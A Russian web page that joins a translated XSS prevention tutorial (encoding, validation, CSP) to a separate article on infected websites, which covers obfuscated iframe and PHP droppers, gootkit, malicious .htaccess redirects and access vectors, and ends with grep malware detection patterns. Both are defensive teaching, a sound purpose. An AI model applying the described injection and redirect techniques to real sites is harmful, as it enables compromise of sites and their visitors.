Прежде чем объяснять в деталях как работает кодирование и валидация мы опишем каждый из этих пунктов.

Обработка пользовательского ввода в контекстах

Есть много контекстов на веб-странице, где может быть применен пользовательский ввод. Для каждого из них должны быть соблюдены особые правила для того, чтобы пользовательский ввод не мог «вырваться» из своего контекста и не мог быть интерпретирован как вредоносный код. Ниже приведены наиболее распространенные контексты:

Какое значение имеют контексты?

Во всех описанных контекстах уязвимость приводящая к XSS может возникнуть если вводимые пользователем данные были вставлены до первого кодирования или валидации. Злоумышленник может внедрить вредоносный код просто вставив закрывающий разделитель для этого контекста и следом за ним вредоносный код.

Например, если в какой-то момент веб-сайт включает ввод данных пользователем непосредственно в атрибут HTML, злоумышленник сможет внедрить вредоносный сценарий, начав свой ввод с кавычки, как показано ниже:

Это можно было бы предотвратить, просто удалив все кавычки в пользовательском вводе, и все было бы хорошо, но только в этом контексте. Если же ввод был вставлен в другой контекст, закрывающий разделитель будет отличаться и инъекция станет возможной. По этой причине, безопасная обработка ввода всегда должна быть адаптирована к контексту, где будет вставлен пользовательский ввод.

Обработка входящего/исходящего пользовательского ввода

Инстинктивно, может показаться, что XSS можно предотвратить с помощью кодирования или валидации всего пользовательского ввода, как только наш сайт получает его. Таким образом, любые вредоносные строки уже будут нейтрализованы всякий раз, когда они будут включатся в страницу, и скриптам генерации HTML не придется заботиться о безопасной обработке пользовательского ввода.

Проблема состоит в том, что как было описано ранее, вводимые пользователем данные могут быть вставлены в несколько контекстов на странице. И нет простого способа определить, когда пользовательский ввод приходит в контекст — как он в конечном итоге будет вставлен, и тот же пользовательский ввод часто должен быть вставлен в различных контекстах. Опираясь на обработку входящего ввода для предотвращения XSS, мы создаем очень хрупкое решение, которое будет подвержено ошибкам. (Устаревшие «волшебные кавычки » PHP являются примером такого решения.)

Вместо этого, обработка исходящего ввода должна быть вашей основной линией защиты от XSS, потому что он может принимать во внимание конкретный контекст, какие вводимые пользователем данные будут вставлены. В какой то степени, входящую валидацию можно использовать для добавления вторичного слоя защиты, но об этом позже.

Где возможно выполнять безопасную обработку пользовательского ввода

В большинстве современных веб-приложений, пользовательский ввод обрабатывается как на стороне серверного кода, так и на стороне кода клиента. В целях защиты от всех типов XSS, безопасная обработка ввода должна быть выполнена как в коде на стороне сервера, так и на стороне кода клиента.

• В целях защиты от традиционных XSS, безопасная обработка ввода должна быть выполнена в коде на стороне сервера. Это делается с помощью какого-либо языка, поддерживаемого сервером.
• В целях защиты от XSS-атаки в DOM-модели, где сервер никогда не получает вредоносную строку (например, описанная ранее атака через фрагмент идентификатора), безопасная обработка ввода должна быть выполнена в коде на стороне клиента. Это делается с помощью JavaScript.

Теперь, когда мы объяснили, почему контекст имеет значение, почему различие между входящей и исходящей обработкой ввода имеет важное значение, и почему безопасная обработка ввода должна быть выполнена с обеих сторон, и на стороне клиента и на стороне сервера, мы можем продолжить чтобы объяснить, каким образом два типа безопасной обработки ввода (кодирование и валидация) выполняются фактически.

Кодирование

Кодирование является способом выхода из ситуации когда необходимо что бы пользовательский ввод данных браузер интерпретировал только как данные, а не код. Самый популярный тип кодирования в веб-разработке, это маскирование HTML, который преобразует символы, такие как < и > в < и > соответственно.

Следующий псевдокод является примером того, как вводимые пользователем данные (пользовательский ввод) могут быть закодированы с использованием HTML маскирования и затем вставлены в страницу с помощью серверного сценария:

print ""
print "Последний комментарий: "
print encodeHtml(userInput)
print ""

Если пользователь введет следующую строку ... , результирующий HTML будет выглядеть следующим образом:

Последний комментарий:
...

Потому что все символы со специальным значением были замаскированны, браузер не будет разбирать какую-либо часть пользовательского ввода, как HTML.

Кодирование кода на стороне клиента и сервера

При выполнении кодирования кода со стороны клиента, всегда используется язык JavaScript, который имеет встроенные функции которые кодируют данные для разных контекстов.

При выполнении кодирования в вашем коде на стороне сервера, вы полагаетесь на функции доступные в вашем языке или фреймворке. Из-за большого количества языков и доступных фреймворков, данное учебное пособие не будет охватывать детали кодирования в каком-либо конкретном языке сервера или фреймворка. Тем не менее функции кодирования JavaScript используемые на стороне клиента также используются при написании кода на стороне сервера.

Кодирование на стороне клиента

При кодировании пользовательского ввода на стороне клиента с помощью JavaScript есть несколько встроенных методов и свойств, которые автоматически кодируют все данные в контекстно-зависимый стиль:

Последний контекст уже упоминавшийся выше (значения в JavaScript) не входит в этот список, потому что JavaScript не предоставляет встроенный способ кодирования данных, который будет включен в исходный код JavaScript.

Ограничения кодирования

Даже при кодировании возможно использование злонамеренных строк в некоторых контекстах. Ярким примером этого является то, когда пользовательский ввод используется для предоставления URL-адреса, например, в приведенном ниже примере:

document.querySelector("a").href = userInput

Хотя указанное значение в свойстве элемента href автоматически кодирует его так, что он становится не более, чем значение атрибута, это само по себе не мешает злоумышленнику вставить URL, начинающийся с « javascript: «. При щелчке по ссылке, независимо от построения, встроенный JavaScript внутри URL будет выполнен.

Кодирование также не эффективное решение, когда вы хотите чтобы пользователи могли использовать часть HTML-кодов на странице. Примером может служить страница профиля пользователя, где пользователь может использовать пользовательский HTML. Если этот обычный HTML будет закодирован, страница профиля сможет состоять только из простого текста.

В подобных ситуациях, кодирование должно быть дополнено валидацией, с которой мы познакомимся далее.

Валидация

Валидация является актом фильтрации пользовательского ввода таким образом, чтобы все вредоносные его части были удалены, без необходимости удаления всего кода в нем. Один из самых используемых видов проверки в веб-разработке позволяет использовать некоторые HTML-элементы (например, и ) но запретив другие (например, ).

Существуют две основные характерные проверки, которые различаются своими реализациями:

Стратегия классификации Пользовательский ввод может быть классифицирован с использованием черных либо и белых списков. Результат валидации Пользовательский ввод идентифицированный как вредоносный может быть отклонен или продезинфицирован.

Стратегия классификации Черный список

Инстинктивно, представляется целесообразным выполнить проверку путем определения запрещенного шаблона, который не должен появляться в пользовательском вводе. Если строка соответствует этому шаблону, она помечается как недействительная. Например позволить пользователям отправлять пользовательские URL-адреса с любым протоколом, за исключением javascript: . Эта стратегия классификации называется черный список .

Тем не менее, черный список имеет два основных недостатка:

Сложность точно описывать множество всех возможных вредоносных строк, как правило, очень сложная задача. Пример политики описанный выше, не может быть успешно реализован путем простого поиска по подстроке « javascript «, потому что ему будет не хватать строки вида « Javascript: » (где первая буква в верхнем регистре) и « javascript: » (где первая буква кодируется как числовая ссылка на символ). Устаривание Даже если идеальный черный список был бы разработан, он окажется бесполезным если новую функцию добавленную в браузер будет возможно использовать для атаки. Например, если черный список для валидации HTML был разработан до введения в HTML5 атрибута onmousewheel он (черный список) не сможет остановить злоумышленника который будет использовать этот атрибут для выполнения XSS-атаки. Этот недостаток особенно важен в веб-разработке, которая состоит из множества различных технологий, которые постоянно обновляются.

Из-за этих недостатков черный список настоятельно не рекомендуется как стратегия классификации. Белый список, как правило, гораздо более безопасный подход, который мы опишем далее.

Белый список

Белый список по существу противоположен черному списку: вместо того, чтобы определять запрещенный шаблон, подход белого списка определяет разрешенный шаблон и отмечает ввод недействительным если он не соответствует этому шаблону.

В отличие от черных списков, примером белых списков было бы разрешить пользователям отправлять пользовательские URL-адреса, содержащие только протоколы http: и https: , ничего более. Такой подход позволил бы автоматически пометить что URL-адрес является недействительным, если он содержит протокол javascript: , даже если он представлен как « Javascript: » или « javascript: «.

По сравнению с черным списком у белых списков есть два основных преимущества:

Простота Точно описывать набор безопасных строк, как правило, намного проще, чем идентифицировать набор всех вредоносных строк. Это особенно применимо в общих ситуациях, когда пользовательский ввод должен включать в себя очень ограниченный набор функциональных возможностей доступных в браузере. Например, белый список описанный выше очень просто позволяет использовать URL-адреса только с разрешенными протоколами http: или https: , и в большинстве ситуаций этого вполне достаточно для пользователей. Долговечность В отличие от черного списка, белый список, как правило, не становятся устаревшими, когда новая функция добавляется в браузер. Например, HTML валидация белым списком позволяет только title атрибутам HTML-элементов оставаться безопасными, даже если он (белый список) был разработан до введения onmousewheel атрибута HTML5.

Результат валидации

Когда пользовательский ввод был отмечен как недействительный (запрещенный), может быть принято одно из двух действий:

Отклонение ввод просто отклоняется, предотвращая его использование в других местах на сайте. Дезинфекция все недействительные части вводимых данных удаляются, а оставшийся ввод используется на веб-сайте как обычно.

Из этих двух, «отклонение» является самым простым подходом в реализации. Но считается, что дезинфекция является более полезной, поскольку она предоставляет более широкий диапазон ввода для пользователя. Например, если пользователь отправляет номер кредитной карты, дезинфекция удалит все символы не являющиеся символами и предотвратит инъекцию кода, а также позволяет пользователю ввести номер как содержащий дефисы, так и без них.

Если вы решили реализовать дезинфекцию, необходимо убедиться в том, что сама процедура дезинфекции не использует подход чёрного списка. Например, URL-адрес « Javascript:... «, даже если идентифицирован с использованием белого списка как недействительный, получил бы в обход дезинфекции подпрограмму, которая просто удаляет все экземпляры « javascript: «. По этой причине, хорошо проверенные библиотеки и фреймворки по возможности должны использовать дезинфекцию.

Какие методы использовать для профилактики?

Кодирование должно быть вашей первой линией защиты от XSS-атак, его цель в обработке данных таким образом, что бы браузер не смог истолковать пользовательский ввод как код. В некоторых случаях кодирование должно быть дополнено валидацией. Кодирование и валидация должны применятся к исходящему трафику, потому что только тогда вы можете знать в каком контексте будет применен пользовательский ввод и какое кодирование и какую валидация необходимо применить.

В качестве второй линии обороны вы должны применять на входящих данных дезинфекцию или отклонение явно недействительного пользовательского ввода, например, ссылок с помощью протокола javascript: . Это не может само по себе обеспечить полную безопасность, но это полезная мера предосторожности если в любой точке защиты кодированием и валидацией из-за неправильного выполнения возможна ошибка.

Если эти две линии обороны используются последовательно, ваш сайт будет защищен от XSS атак. Однако из-за сложности создания и поддержания работы веб-сайта обеспечение полной защиты с использованием только безопасной обработки пользовательского ввода может быть затруднено. В качестве третьей линии обороны вы должны использовать Политики Безопасности Контента (англ. Content Security Policy ), далее CSP, которые мы опишем далее.

Политики Безопасности Контента (CSP)

Использовать только безопасную обработку пользовательского ввода для защиты от XSS-атак недостаточно, потому что даже одна ошибка безопасности может поставить под угрозу ваш веб-сайт. Применение из нового веб-стандарта Политик Безопасности Контента (CSP) может снизить этот риск.

CSP используются для ограничения использования браузером веб-страницы таким образом, что он может использовать только ресурсы загруженные из надежных источников. А ресурсы представляют собой сценарии, таблицы стилей, изображения, или какие-либо другие типы файлов на которые есть ссылки на странице. Это означает, что даже если злоумышленнику удастся провести инъекцию вредоносного контента на вашем сайте, CSP сможет предотвратить его исполнение.

CSP могут быть использованы для обеспечения соблюдения следующих правил:

Запрет ненадежных источников внешние ресурсы могут быть загружены только из набора четко определенных надежных источников. Запрет встроенных ресурсов встроенный JavaScript и CSS не будут учитываться. Запрет eval запрет использования функции eval в JavaScript.

CSP в действии

В следующем примере, злоумышленнику удалось внедрение вредоносного кода в веб-страницу:

Последний комментарий:

При правильно определенной политике CSP, браузер не может загрузить и выполнить malicious‑script.js потому что http://attacker/ не указан как надежный источник. Даже несмотря на то, что сайту не удалось надежно обрабатывать пользовательский ввод данных в данном случае политика CSP предотвратила уязвимость и причинение какого-либо вреда.

Даже если злоумышленник провел инъекцию кодом внутрь кода сценария, а не ссылкой на внешний файл, правильно настроенная политика CSP также запретит инъекцию в код JavaScript предотвратив уязвимость и причинение какого-либо вреда.

Как включить CSP?

По умолчанию, браузеры не используют CSP. Для того, что бы включить SCP на своем веб-сайте, страницы должны содержать дополнительный заголовок HTTP: Content‑Security‑Policy . Любая страница содержащая этот заголовок будет применять политики безопасности во время загрузки браузером, при условии что браузер поддерживает CSP.

Поскольку политика безопасности отправляется с каждым HTTP-ответом, есть возможность на сервере индивидуально установить политику для каждой страницы. Та же политика может быть применена ко всему веб-сайт, вставляя один и тот же заголовок CSP в каждом ответе.

Значение в заголовке Content‑Security‑Policy содержит строку, определяющую одну или несколько политик безопасности, которые будут работать на вашем сайте. Синтаксис этой строки будет описан далее.

Примеры заголовков в этом разделе используют перенос строки и отступы для простоты восприятия; они не должны присутствовать в настоящем заголовке.

Синтаксис CSP

Синтаксис заголовка CSP выглядит следующим образом:

Content‑Security‑Policy:
directive source‑expression , source‑expression , ...;
directive ...;
...

Этот синтаксис состоит из двух элементов:

• Директивы (directives) представляющие собой строки, указывающие тип ресурса, взятый из заданного списка.
• Выражение источника (source expressions) является моделью, описывающей один или несколько серверов от куда могут быть загружены ресурсы.

Для каждой директивы данные в выражении источника определяют какие источники можно использовать для загрузки ресурсов соответствующего типа.

Директивы

Следующие директивы могут быть использованы в заголовке CSP:

• connect‑src
• font‑src
• frame‑src
• img‑src
• media‑src
• object‑src
• script‑src
• style‑src

В дополнение к этому, специальная директива default‑src может использоваться для того, чтобы обеспечить значение по умолчанию для всех директив, которые не были включены в заголовок.

Выражение источника

Синтаксис для создания выражения источника выглядит следующим образом:

протокол:// имя‑хоста: номер‑порта

Имя хоста может начинаться с * , это означает, что любой поддомен предоставленного имени хоста будет разрешен. Аналогично номер порта может быть представлен в виде * , это означает что все порты будут разрешены. Кроме того, протокол и номер порта могут быть пропущены. В случае если протокол не указан, политика будет требовать чтобы все ресурсы быть загружены с помощью HTTPS.

В дополнение к указанному выше синтаксису, выражение источника может в качестве альтернативы быть одним из четырех ключевых слов со специальным значением (кавычки включены):

"none" запрещает ресурсы. "self" разрешает ресурсы с хоста на котором находится веб-страница. "unsafe‑inline" разрешает ресурсы, содержащиеся на странице как встроенные элементы, элементы, и javascript: URL-адреса. "unsafe‑eval" разрешает JavaScript функцию eval .

Обратите внимание, что всякий раз, когда используется CSP, встроенные ресурсы и eval по умолчанию автоматически запрещены. Использование "unsafe‑inline" и "unsafe‑eval" — единственный способ для их использования.

Пример политики

Content‑Security‑Policy:
script‑src "self" scripts.example.com;
media‑src "none";
img‑src *;
default‑src "self" http://*.example.com

С этим примером политики веб-страница будет иметь следующие ограничения:

• Скрипты могут быть загружены только с хоста на котором находится веб-страница и с этого адреса: scripts.example.com .
• Аудио и видео файлы запрещены к загрузке.
• Файлы изображений могут быть загружены с любого адреса.
• Все остальные ресурсы могут быть загружены только с хоста на котором находится веб-страница и из любого поддомена example.com .

Статус CSP

На июнь 2013 года Политики Безопасности Контента рекомендуются консорциумом W3C . CSP реализуется разработчиками браузеров, но некоторые его части специфичны для разных браузеров. Например, использование HTTP-заголовка может отличаться между браузерами. Перед использованием CSP обратитесь к документации браузеров, которые вы собираетесь поддерживать.

Резюме Резюме: Обзор XSS

• XSS-атака представляет собой инъекцию кода, атака стала возможной благодаря незащищенной обработке пользовательского ввода.
• Успешная XSS-атака позволяет злоумышленнику выполнить вредоносный JavaScript в браузере жертвы.
• Успешная XSS-атака ставит под угрозу безопасность как веб-сайта, так и его пользователей.

Резюме: XSS-атаки

• Существуют три основных типа XSS-атак:
  • Хранимые XSS, где вредоносный ввод берет свое начало из базы данных веб-сайта.
  • Отраженные XSS, где вредоносный ввод берет свое начало от запроса жертвы.
  • XSS-атаки в DOM-модели, где уязвимость эксплуатируется в коде на стороне клиента, а не на стороне сервера.
• Все эти атаки выполняются по-разному, но имеют один и тот же эффект в случае успеха.

Резюме: Предотвращение XSS

• Самый важный способ предотвращения XSS атак, это выполнение безопасной обработки ввода.
  • Кодирование должно выполняться всякий раз, когда включен пользовательский ввод на странице.
  • В некоторых случаях кодирование должно быть заменено или дополнено валидацией.
  • Безопасная обработка ввода должна учитывать в какой контекст страницы вставляется пользовательский ввод.
  • Для того, чтобы предотвратить все виды XSS-атак безопасная обработка ввода должна выполнятся в коде как на стороне клиента, так и на стороне сервера.
• Политики Безопасности Контента (CSP) обеспечивают дополнительный уровень защиты в случае если безопасная обработка ввода содержит ошибку.

Приложение Терминология

Следует отметить, что существует перекрестие в терминологии используемой для описания XSS: XSS-атака в DOM-модели может быть либо хранимой либо отраженной; это не отдельные виды атак. Не существует общепринятой терминологии, которая охватывает все типы XSS без смешивания. Независимо от терминологии используемой для описания XSS, самое главное определить тип атаки, это возможно если знать от куда поступает вредоносный ввод и где находится уязвимость.

Права использования и ссылки

The source code for Excess XSS is available on GitHub .

Excess XSS was created in 2013 as part of the Language-Based Security course at Chalmers University of Technology .

Перевод на русский язык выполнил A888R , оригинальный текст на английском языке: excess-xss.com , замечания, предложения и ошибки в переводе слать сюда .

• пользователи жалуются на то, что веб-сайт блокируется браузером и/или программами
• веб-сайт внесён в чёрный список Google или в другую базу вредоносных URL-адресов
• произошли серьёзные изменения в объёме трафика и/или в рейтингах поисковых систем
• веб-сайт не работает как следует, выдаёт ошибки и предупреждения
• после посещения веб-сайта компьютер ведёт себя странно.

Зачастую вредоносный код остаётся незамеченным в течение долгого времени, особенно в случае заражения очень сложными зловредами. Такое вредоносное ПО обычно сильно обфусцировано, чтобы ввести в заблуждение и администраторов веб-сайтов, и антивирусные программы; оно всё время меняет доменные имена, на которые перенаправляет пользователей, обходя таким образом чёрные списки. Если нет ни одного из приведенных симптомов, это хороший показатель чистоты вашего сервера, хотя, увы, не 100%-ный; поэтому, оставайтесь бдительными к любой подозрительной активности.

Самым очевидным признаком заражения любым вредоносным ПО является присутствие вредоносного/подозрительного кода в одном или нескольких файлах - преимущественно в формате HTML, PHP или JS, а с некоторых пор и ASP/ASPX. Этот код найти нелегко, требуется владение по меньшей мере основами программирования и разработки веб-сайтов. Для того чтобы читатель лучше понял, как выглядит вредоносный код, мы приводим несколько примеров самого обычного заражения веб-страниц.

Пример 1: простая переадресация

Самым старым и самым простым методом, используемым киберпреступниками, является добавление простого HTML iframe-тега в код HTML-файлов на сервере. Адрес, используемый для загрузки вредоносного веб-сайта в IFrame, указан в качестве атрибута SRC; атрибут VISIBILITY со значением “hidden” делает фрейм невидимым для пользователя, посещающего веб-сайт.

Рисунок 1: Вредоносный IFrame внутри HTML-кода веб-сайта

Другой метод выполнения вредоносного скрипта в браузере пользователя - это внедрение ссылки на этот скрипт в HTML-файл в качестве атрибута src в тегах script или img:

Рисунок 2: Примеры вредоносных ссылок

Последнее время все чаще встречаются случаи, когда вредоносный код динамически генерируется и внедряется в HTML-код вредоносными JS- или PHP-скриптами. В таких случаях код видим только в представлении исходного кода страницы из браузера, но не в физических файлах на сервере. Киберпреступники могут дополнительно определять условия, когда вредоносный код должен генерироваться: например, только когда пользователь перешёл на сайт с определённых поисковых систем или открыл веб-сайт в конкретном браузере.

Чтобы обмануть и владельца веб-сайта, и антивирусное ПО, а также затруднить вредоносного кода, киберпреступники используют разнообразные методы обфускации кода.

Пример 2: «Ошибка 404: страница не найдена»

В этом примере вредоносный код внедряется в шаблон сообщения, которое выводится, когда указанный объект не был найден на сервере (всем известная «ошибка 404»). Кроме того, в файлы index.html / index.php внедряется ссылка на какой-либо несуществующий элемент, чтобы незаметно вызывать эту ошибку при каждом посещении пользователем заражённой веб-страницы. Этот метод может спровоцировать некоторую неразбериху: человек, ответственный за веб-сайт, получает сообщение, что некое антивирусное решение пометило веб-сайт как заражённый; после поверхностной проверки оказывается, что вредоносный код был найден в объекте, которого по всей видимости не существует; это приводит к соблазну предположить (ошибочно), что это была ложная тревога.

Рисунок 3. Trojan.JS.Iframe.zs - вредоносный скрипт в шаблоне сообщения об ошибке 404

В этом конкретном случае вредоносный код был обфусцирован. После деобфускации можем видеть, что целью скрипта является внедрение тэга IFRAME, который будет использован для перенаправления пользователей на вредоносный URL-адрес.

Рисунок 4. Trojan.JS.Iframe.zs - вредоносный код после деобфускации

Пример 3: выборочное внедрение вредоносного кода

Аналогичный код может генерироваться и присоединяться динамически (т.е. в зависимости от конкретных условий) ко всем HTML-файлам, расположенным на сервере, используя вредоносный PHP-скрипт, загруженный на тот же сервер. Скрипт, показанный в следующем примере, проверяет параметр UserAgent (который отсылается браузером пользователя, а также поисковыми ботами) и не добавляет вредоносный код, если веб-сайт сканируется ботом или если посетители сайта пользуются браузерами Opera, или Safari. Таким образом, пользователи браузеров, неуязвимых к конкретному эксплойту, используемому для атаки, не будут перенаправляться на этот эксплойт. Также стоит заметить, что комментарии в коде намеренно вводят в заблуждение, наводя на мысль о том, что данный скрипт имеет какое-то отношение к статистике бота.

Рисунок 5. Trojan.PHP.Iframer.e - код, заражающий PHP-скрипт

Этот метод может также использоваться в обратном направлении: киберпреступники могут внедрять ссылки, ведущие к нелегальному, сомнительному или вредоносному контенту (спаму, шпионскому ПО, ПО, фишинговым ресурсам) только если на веб-сайт зашёл поисковый бот. Целью такой атаки является так называемая чёрная оптимизация - механизм поднятия позиции киберкриминального ресурса в поисковой выдаче. Такое вредоносное ПО обычно направлено на популярные веб-порталы с высоким рейтингом, и его довольно сложно обнаружить, поскольку вредоносный код никогда не показывается обычному пользователю. В результате вредоносные веб-сайты получают высокий рейтинг в поисковых системах и оказываются в верхних строчках поисковой выдачи.

Пример 4: хитрая обфускация

Заражающие PHP-скрипты могут также принимать другие формы. Ниже даются два примера, обнаруженные несколько месяцев назад.

Рисунок 6. Trojan-Downloader.PHP.KScript.a -заражающий PHP-скрипт

Рис 12. Trojan-Downloader.JS.Twetti.t - вредоносный код, внедряемый в JS-файлы

Наконец, известен случай массового заражения зловредом, при котором используются случайные доменные имена. В случае заражения этим зловредом вы можете обнаружить на своём веб-сайте следующий код:

Рис 13. Обфусцированная версия кода, который перенаправляет на сгенерированный случайным образом домен

Пример 6: «gootkit» и обфускация файла целиком

Обфусцированный вредоносный код легко обнаружить среди остального чистого кода, и поэтому недавно киберпреступникам в голову пришла идея обфусцировать содержимое файла целиком , делая таким образом нечитабельным как внедренный, так и легитимный код. Отделить легитимный код от вредоносного невозможно, и вылечить файл можно только после его дешифровки.

Рис. 14. Файл, обфусцированный зловредом “gootkit”

Избавиться от первого уровня обфускации несложно, для этого нужно просто поменять функцию eval() на alert() - или print() в случае с консолью - и запустить ее на исполнение. Второй уровень несколько сложнее: в данном случае доменное имя используется в качестве ключа для шифрования кода.

Рис. 15: «gootkit» - второй уровень обфускации

После дешифровки можно видеть вредоносный код, идущий за оригинальным содержимым файла:

Рис. 16: «gootkit» - деобфусцированный код

Иногда вредоносная часть оказывается второй версией вредоносных программ, о которых шла речь в предыдущем примере, и используется для генерации псевдослучайного доменного имени для переадресации.

Пример 7: .htaccess

Вместо заражения скриптов и HTML-кода киберпреступники могут использовать возможности некоторых файлов, например.htaccess. В таких файлах администратор может определять права доступа к определенным папкам на сервере, а также при определенных обстоятельствах перенаправлять пользователей на другие URL-адреса (например, в случае если пользователь заходит с браузера мобильного устройства, он перенаправляется на мобильную версию веб-сайта). Нетрудно догадаться, каким образом киберпреступники используют подобный функционал...

Рис. 17: вредоносный.htaccess

В приведенном выше примере все пользователи, оказавшиеся на этом веб-сайте, пройдя по ссылке в большинстве крупных поисковых систем (параметр HTTP_REFERER), перенаправляются на вредоносную URL-ссылку. Помимо этого, в этом файле.htaccess определено достаточно большое количество браузеров и ботов, для которых перенаправление не производится (параметр HTTP_USER_AGENT). Перенаправление не происходит также в случае, если веб-страница читается из кеша (referer == cache) или загружается повторно с того же компьютера (параметр cookie).

Подобные зловреды позволяют проводить и более избирательные заражения - например, могут быть исключены конкретные IP-адреса, и при просмотре веб-сайтов из определенного диапазона IP-адресов - например, принадлежащих компании по информационной безопасности - выдача вредоносных результатов отсутствует.

Векторы атак и технологии заражения

Независимо от используемых технологий, киберпреступникам необходимо найти способ доставки вредоносных файлов на сервер или модификации файлов, уже существующих на сервере. Наиболее примитивным методом получения доступа к серверу является взлом пароля доступа. Для этого киберпреступники могут использовать так называемую атаку методом перебора или ее ограниченную версию - атаку «перебора по » (словарную атаку). Такая тактика обычно требует большого количества времени и ресурсов, поэтому редко используется при массовых заражениях веб-сайтов. Среди более популярных сценариев - эксплуатация уязвимостей и вредоносное ПО для кражи паролей.

Использование уязвимостей системы управления контентом/ системы электронной коммерции

Большинство современных платформ управления веб-контентом (такие как система управления контентом (CMS), электронная коммерция, панели управления и т.д.) неидеальны и имеют уязвимости, позволяющие другим лицам без аутентификации загружать файлы на сервер. И хотя поиск таких уязвимостей разработчики ведут постоянно, выпуск патчей занимает большое количество времени; помимо этого, многие пользователи продолжают использовать старые версии программ с большим количеством ошибок. Чаще всего уязвимости находят, естественно, в самых популярных платформах, таких как WordPress, Joomla и osCommerce.

Известный пример такой уязвимости - TimThumb, которая широко использовалась киберпреступниками в разнообразных сценариях drive-by загрузки. TimThumb - PHP-модуль для изменения размера изображений и создания так называемых графических миниатюр, включенный в большинство CMS-шаблонов, находящихся в открытом доступе. Уязвимость позволяет записывать файлы, находящиеся на удаленной машине, на сервер, в директорию для кеша. Еще один пример - уязвимость SQL injection в Plesk Panel (версии 10 и старше), обнаруженная в феврале 2012 года, позволяющая читать базы данных и красть пароли, которые - до недавнего времени - хранились в явном виде. Полученные таким образом регистрационные данные, вероятно, использовались при недавней массовой веб-эпидемии http://www.securelist.com/en/blog/208193624/Who_is_attacking_me ; https://www.securelist.com/ru/blog/208193713/RunForestRun_gootkit_i_generirovanie_sluchaynykh_domennykh_imen .

Использование шпионского ПО для кражи учетных данных для доступа к серверу по FTP

В наиболее распространенных веб-заражениях (например, Gumblar и Pegel) успешным оказался другой метод. На первом этапе киберпреступники распространяют вредоносные программы, разработанные специально для поиска и кражи имен пользователей и паролей к FTP-аккаунтам посредством проверки настроек FTP-клиентов или сканирования сетевого трафика. После нахождения зловредом этих регистрационных данных на зараженном компьютере администратора сайта программа устанавливает соединение с FTP-сервером и загружает вредоносные скрипты или записывает вместо оригинальных файлов их зараженные версии. Само собой разумеется, что до тех пор пока компьютер владельца аккаунта заражен, файлы, хранящиеся на сервере, будут снова и снова заражаться даже после смены регистрационных данных и восстановления всего контента из чистой резервной копии.

Цели киберпреступников

Какова цель заражения веб-сайтов?

• переадресация пользователей на эксплойты для незаметной установки вредоносных программ на их компьютерах;
• переадресация пользователей на спам, фишинговый и другой вредоносный, нелегальный или нежелательный контент;
• перехват/кража посещений сайта / поисковых запросов.
• продвижение вредоносных/нелегальных веб-сайтов и веб-сайтов, содержащих спам (черная оптимизация);
• использование ресурсов сервера для нелегальной активности.

По сути здесь нет ничего нового: при заражении веб-сайтов киберпреступниками движет стремление получить непрямую прибыль.

Методы устранения вредоносного кода

Что делать, если ваш сайт атаковали хакеры?

Во-первых, если вы наблюдаете симптомы, которые говорят о возможном заражении, необходимо незамедлительно деактивировать веб-сайт до устранения проблемы. Это действительно исключительно важно, поскольку каждый момент промедления играет на руку киберпреступникам, позволяя заразить еще больше компьютеров и распространить заражение по всему . Следует проверить журналы сервера на наличие подозрительной активности, например странные запросы с IP-адресов, находящихся в странах, нехарактерных для посетителей сайта, и т.п. - это может быть полезно для обнаружения зараженных файлов и определения, как именно киберпреступники получили доступ к серверу.

Но каким же образом бороться с вредоносным кодом?

Резервная копия

Самый быстрый и надежный способ восстановления всего содержимого сервера - с использованием чистой резервной копии. Чтобы сделать это эффективно, необходимо также произвести полную переустановку ПО, работающего на сервере (системы управления контентом / CMF, системы электронной коммерции и т.п.). Разумеется, для этого необходимо использовать самые последние, полностью обновленные версии. После этих действий на сервере не должно остаться никаких зараженных файлов - при условии, что вы стерли все содержимое перед восстановлением, а резервная копия была создана еще до начала атаки.

Автоматическая проверка

Если чистая резервная копия отсутствует, вам ничего не остается как начать бороться с вредоносным ПО. К счастью, существует ряд автоматизированных решений, которые помогут отыскать вредоносный код - включая антивирусные продукты и онлайн-сканеры веб-сайтов, например http://sucuri.net/. Ни одно из них не является идеальным, но в случае с хорошо известным/обычным вредоносным ПО все они могут быть весьма полезными. Начнем с того, что можно проверить веб-сайт при помощи нескольких онлайн-сканеров. Некоторые из них не только определят, действительно ли ваш сайт заражен, но и укажут на вредоносный код в ваших файлах. Затем можно произвести полную антивирусную проверку всех файлов на сервере.

Если вы владелец сервера или если на сервере работает защитное решение, на использование которого у вас есть права, вы можете выполнить проверку на стороне сервера. Убедитесь в том, что вы создали копию ваших файлов, так как некоторые антивирусные сканеры не лечат зараженные файлы, а удаляют их! Можно также загрузить содержимое вашего сервера на локальный компьютер и осуществить его проверку при помощи антивирусного решения для стационарного компьютера. Второй вариант предпочтительней, поскольку в составе большинства современных антивирусных программ для стационарных компьютеров есть хорошо развитый эвристический модуль. Вредоносные программы, поражающие веб-сайты, в высшей степени полиморфны: и если при борьбе с ним сигнатурный анализ практически бесполезен, эвристика позволяет их с легкостью детектировать.

Удаление вручную

Если автоматическая проверка не дала результатов и сообщения о заражении вашего сайта поступают по-прежнему, единственный способ избавиться от зловреда - найти его вручную и удалить весь вредоносный код. Эта непростая задача может занять значительное количество времени, поскольку необходимо проверить каждый файл - будь то HTML, JS, PHP или файл конфигурации - на наличие вредоносных скриптов. Примеры, приведенные выше, - всего лишь небольшая часть разнообразных зловредов для веб-сайтов, поэтому высока вероятность того, что вредоносный код на вашем сайте будет частично или полностью отличаться от этих образцов. И тем не менее большинство современных вредоносных программ для веб-сайтов имеют некоторые общие черты, и эти черты помогут в определении проблемы.

Более всего необходимо уделить внимание тем частям кода, которые выглядят неясными или нечитаемыми. Обфускация кода - технология, часто используемая , - довольно необычна для любого другого ПО, связанного с веб-сайтами. Если вы не обфусцировали код сами, у вас есть все основания иметь относительно него подозрения. Но будьте аккуратны - вредоносным окажется не весь обфусцированный код!

Аналогичным образом, не любой вредоносный скрипт обфусцирован, поэтому имеет смысл искать теги IFRAME в явном виде и другие ссылки на внешние ресурсы во всех ваших файлах. Некоторые из них могут иметь отношение к рекламным объявлениям и статистике, но не попадитесь на удочку специально сформированных URL, которые могут сбивать с толку, имея вид адресов известных и доверенных порталов. Не забывайте проверять код шаблонных сообщений об ошибках, а также все файлы.htaccess.

Полезными инструментами для поиска вредоносного кода на сервере, несомненно, являются grep и find - утилиты, работающие в режиме командной строки, по умолчанию включаемые практически во все системы на основе Unix. Ниже приведены примеры их использования в диагностике наиболее распространенных заражений:

grep -iRs “iframe” *
grep -iRs “eval” *
grep -iRs “unescape” *
grep -iRs “base64_decode” *
grep -iRs “var div_colors” *
grep -iRs “var _0x” *
grep -iRs “CoreLibrariesHandler” *
grep -iRs “pingnow” *
grep -iRs “serchbot” *
grep -iRs “km0ae9gr6m” *
